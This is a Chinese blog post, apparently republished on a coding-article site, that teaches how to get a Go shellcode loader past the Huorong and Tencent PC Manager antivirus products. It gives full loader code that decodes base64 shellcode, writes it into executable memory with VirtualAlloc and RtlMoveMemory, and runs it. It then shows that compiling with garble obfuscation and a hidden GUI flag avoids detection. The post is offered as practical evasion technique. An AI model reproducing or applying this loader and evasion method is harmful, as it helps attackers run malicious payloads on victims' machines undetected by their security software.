本文主要是介绍golang任意代码免杀绕过火绒+电脑管家,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
火绒和电脑管家主要以静态规则为主,但是有时候静态杀起来也挺让人奔溃的,这边分享一下如何拿捏火绒和电脑管家
本文主要介绍如何通过garble进行混淆编译来绕过火绒,garble也可以绕过其他杀软,但是对火绒和电脑管家特别有效果,以火绒为例 下面来对比一下golang原生和garble混淆编译后得差距
来一个很原始的的shellcode loader代码,将原始shellcode base64后就进行加载执行
shellcode loader代码
package mainimport ("encoding/base64""log""syscall""time""unsafe"
)const (MEM_COMMIT = 0x1000MEM_RESERVE = 0x2000PAGE_EXECUTE_READWRITE = 0x40
)var (kernel32 = syscall.MustLoadDLL("kernel32.dll")ntdll = syscall.MustLoadDLL("ntdll.dll")VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")RtlCopyMemory = ntdll.MustFindProc("RtlMoveMemory")
)func main() {b64shellcode:="b64shellcode"shellcode, err := base64.StdEncoding.DecodeString(b64shellcode)if err != nil {log.Fatalln(err)}addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)if err != nil && err.Error() != "The operation completed successfully." {syscall.Exit(0)}_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))if err != nil && err.Error() != "The operation completed successfully." {syscall.Exit(0)}time.Sleep(5 * time.Second)syscall.Syscall(addr, 0, 0, 0, 0)
}
golang原生编译
编译命令
go build -ldflags "-s -w -H=windowsgui" test.go
不出意外,直接编译出来的静态被杀了
garble 编译
在go环境下安装garble很简单,直接命令行下执行
go install mvdan.cc/garble@latest
然后使用garble进行编译
编译命令:
garble build -ldflags "-s -w -H=windowsgui" test.go
可以看到火绒一点反应都没有
感兴趣的话扫描二维码进行关注,后续会不断更新攻防实战技巧、免杀技巧以及一些新的技术
这篇关于golang任意代码免杀绕过火绒+电脑管家的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!